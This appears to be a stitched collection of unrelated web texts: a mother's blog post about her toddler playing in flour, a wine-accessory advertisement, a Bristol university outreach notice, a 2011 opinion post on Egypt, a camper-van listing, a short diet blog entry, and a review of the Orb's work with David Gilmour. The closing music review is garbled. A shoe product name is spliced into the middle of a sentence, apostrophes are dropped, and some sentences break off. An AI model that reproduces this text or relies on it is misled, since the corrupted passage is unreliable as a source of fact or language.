I was caught at this crossroad early this week. My inner mom and inner photographer were battling it out, and I didn't know whether to cry or laugh. because often the best photo ops are messy, unplanned, and a little... stressful. After a morning of happily baking and playing with my girl, I was content with our day. It was fun, relaxed and just the right amount of messy to make things fun without ruffling my mama feathers too much. I posted the fourth photo in the collage below on Facebook, declaring that the dishes were piling, we were happily baking, and that "mama and bebe are both covered in flour" - ha, the irony of that last statement is pretty hilarious. My kitchen was a mess, but it was a purposeful mess, and I excitedly snapped a few frames here and there to remember this sweet morning with my girl.
And then I.turned.around. For maybe... 45 seconds. And the giant bag of flour we get from our local flour mill, that was sitting on the hardwood kitchen floor, became irresistible to my 18-month-old explorer. I could hear her laughing and squealing "Wooo!! Woof Woof! Wooowwww! Woof Woof! Wow!" - not uncommon. She's very expressive, happy and obsessed with dogs. I assumed she was playing with our lab. Assumed being the key word here, folks.
When I turned around to face her again, I saw that she was using her little dog figurine to dig into the flour bag, and was throwing piles of flour in the air, on the flour, on her head. She was sitting in it, rolling in it, crawling in it, and having the time of her life. This was probably a serious contender for happiest moment since birth.
And I just whispered "ohmigosh" and watched her for a second, trying to decide if I was going to go down the clean freak mama road and have a full blown panic attack (Because what if this set a precedent and she thought it was ok to play in flour? Or what if I wouldn't be able to get it out of the cracks in the hardwood? And what about people starving all over the world, and here is my daughter playing in flour like it's nothing... and oh my gosh I have to clean this up) or if I was going to embrace this moment, this incredibly messy, unscripted, inconvenient, wrong moment and document it, because it was too late to stop it, and heck, this was truly one for the wedding slide show. I took a deep breath, grabbed my camera, and started documenting my girl's delight for about a minute. By the end of that minute, I was covered in flour. She was covered in flour. The kitchen was covered in flour. And her woof woof was definitely covered in flour.
I sat in the flour with her and laughed with her. Because truly, it was funny. I somehow managed to do a preliminary cleanup and get us both in the tub. Several sweeps and a wash later, the floor still has flour on it. But I'm so glad I let this moment unfold, even if only for a couple of minutes, because it's a story that I will tell again and again, and a memory I will cherish forever.

Wine Accessories That Make Your Cellar Feel Complete
How many times have you invited company over to partake in a tasting, or because you wanted to crack open that bottle of Merlot you'd been saving, only to fiddle for half an hour trying to find a corkscrew that you knew would get the job done? How many times has your cork broken off and fallen straight into the bottle, soiling the selection? Here's a tip for aspiring wine connoisseurs – invest in some accessories; they will make entertaining a lot less stressful, and they'll help you to look like a pro while doing it.
While some new world wine or cheaper bottles can be bought uncorked, the good stuff will typically require a corkscrew. If you're a smart consumer, you're probably already buying your wine online through a retailer like WineOnline, so why not check out these awesome wine accessories on offer online. Your best options are going to be portable and simple to use, like the Covert Pocket Corkscrew by True available in a variety of different colours. This design packs the power of a traditional corkscrew into a sleek black sheath that doubles as a durable handle. For under three dollars a piece, collect a couple and slip them into kitchen drawers, pockets or purses so you're ready for any occasion. You can also invest in the Truetap Double-Hinged Corkscrew; complete with an integrated bottle opener and serrated foil cutter – it's one of the most versatile available.
Foil Cutters
If you're a fan of bubbly, a foil cutter is a must. The Shear 4 Blade Foil Cutter by True in black or burgundy colours has flex-grip and is made from tough ABS plastic; it even includes four blades for quick and seamless cutting. Speaking of sparkling, why not keep that prosecco or cava crisp with a Fizz Chrome Champagne Stopper? It's even got an easy push down seal so you can keep the party going.
Wine Stoppers
Sparkling isn't the only type of wine you want to keep fresh, especially if you've opened up a rare vintage that the company intends to sip slowly over the course of the soiree. With Starburst Silicone Bottle Stoppers, all you need to do is pick a few of your favourite colours and your wine is preserved all night long. These are also great for when you pop open a bottle late in the night and want to refrigerate for the next evening. Find them for an affordable price at Wine Online while you shop for that perfect bottle!
Bottle Carriers
Sometimes you need your wine to be as mobile as you are, especially if you're transporting a prized selection to a colleague's house or to an event. Safeguard your bottles against cracks and breaks with bottle carriers by Marketplace; they are sturdy while remaining light weight and they're even foldable and easy to put away after use. What's nice is there is also a section cut out in the carrier, enabling you to show off the label.
Shatterproof Stemless Glasses
Hosting parties can oftentimes damage some of your best glassware. Invest in a few shatterproof options like the Flexi Stemless Wine Glasses by True; they're made from plastic so they will never splinter, and they're great for the outdoors too when the warmer seasons come back around.

Bristol Students have a wealth of study options on their doorstep, however much media attention focuses on moving away for Higher Education (HE) to get the full student experience. The Local Studies Programme aims to raise the profile of local study and address the narrative that you have to move away to experience HE.
In Bristol, we have a great many local, successful students who have chosen to live at home or stay in the city for a wide range of reasons. The programme has focussed on collecting case studies from a cross section of these students and graduates in written and film form. These show younger students and their families that living and studying in Bristol is a great way to experience HE and can be considered along with other options.
Future activities for the programme include parent and family visits to campus and opportunities for year 12 students to shadow local students.
If you're interested and want to find out more please email email@example.com
Arriving at university can be a really exciting time for new students; it can also be a challenging time with many new things to learn and understand. The Transition Programme aims to support students before they start university to better understand what it might be like when they arrive and what might be expected of them.
Workshops on Study Skills, Student Life and Money Matters have been offered to Year 13 students on a pilot scheme. A residential summer event will invite Year 13's in eligible postcodes to experience university accommodation and build confidence and knowledge of what to expect when they arrive at university.
If you're interested and want to find out more please email email@example.com

Revolution in Egypt?
February 12, 2011
Hardly. Yes, Mubarak is gone but the transfer from a single person who was angling to have his son succeed him after a 30 year reign to a collective military council is hardly a revolution.
The Army is still in control and jobs/prices will change little for a long time to come. The reality is a crowd of 200,000 or so compared to a metro area of 15 million who did not care enough to show up is not a revolution.

"Bella Luna"
170" Mercedes sprinter 4x4
warm and durable design
Bella Luna was designed to be an ultra durable adventure van with a warm and inviting aesthetic. The two-toned formica interior and Lonseal flooring make it easy to wipe off all of the dust and mud from every trail excursion.
The 170" wheelbase allows for maximum storage in this conversion. The custom CNC cut cabinetry was designed to withstand all of the moving and shaking that comes with life on the road. The cassette toilet is discretely tucked away in a baltic birch storage bench. All cabinet doors and drawers have been fitted with touch-to-open hardware so they can stay securely closed on even the bumpiest of mountain roads.
We carefully laid out Bella Luna's roof to accommodate 300 watts of Renogy solar, a Maxxair 7500k remote controlled vent fan, a Fiamma awning, and a Thule cargo box.
The high mounted bed allows for plenty of storage space for mountain bikes and gear. We installed a RockyMounts bike mount system, portable air compressor, heated outdoor shower system and our signature battery box in the garage.

Eggs == Life
A not so essential post again...
Last week, i met someone after a long time and the immediate reaction:
'You look depressingly anorexic'!
So, here i go becoming an eggitarian with atleast 2 boiled eggs and a glass of milk every morning before the journey with sayonara-3 begins!
The 6 bananas a day did not help!(or i gave up before some grams could be added here and there!)
In other stories, winter rains are beautifying!!! The day looks blissful :)

of wandering through what can only be described as a post rave wasteland, the Orb belatedly re emerged with a winning new techno amalgam Floyd meets dubstep? on Spheres.
hasn been fleshed out quite enough, that because it actually grew out of a charity single Gilmour was working on with Nike Huarache Infant
Youth. Gilmour left behind a series of unconnected guitar snippets, for which the Orb then created sound beds. So, there are a few moments when his solos at their best, these whole step bending, backward grace note sliding wonders fail to rise to the level of Gilmour most recognizable work with his old band. It easily forgiven, however, because Spheres not only represents one of the more compelling blind alleys Gilmour ever turned down, it points the way (we now learning) toward one of the most unlikeliest moments in Pink Floyd history: A new studio album, 20 years after the last, and nearly six years after Wright death a sad moment many assumed signaled the end of the band second era, Gilmour led lineup.

Meanwhile, setting aside Pink Floyd, with all of its history and expectation, sparked something primordial in Gilmour. The fault, as Spheres makes clear, lay in focus rather than intention. That return to his own roots hurtled Gilmour, finally, past an impossible talisman. Gilmour as Floyd was never going to top Side, and certainly not without Waters biting lyrical wit. Besides, several elements of the ambient house/techno movement that the Orb helped define actually sprang from the earlier era of Floyd performances. So Spheres did more than make musical sense.
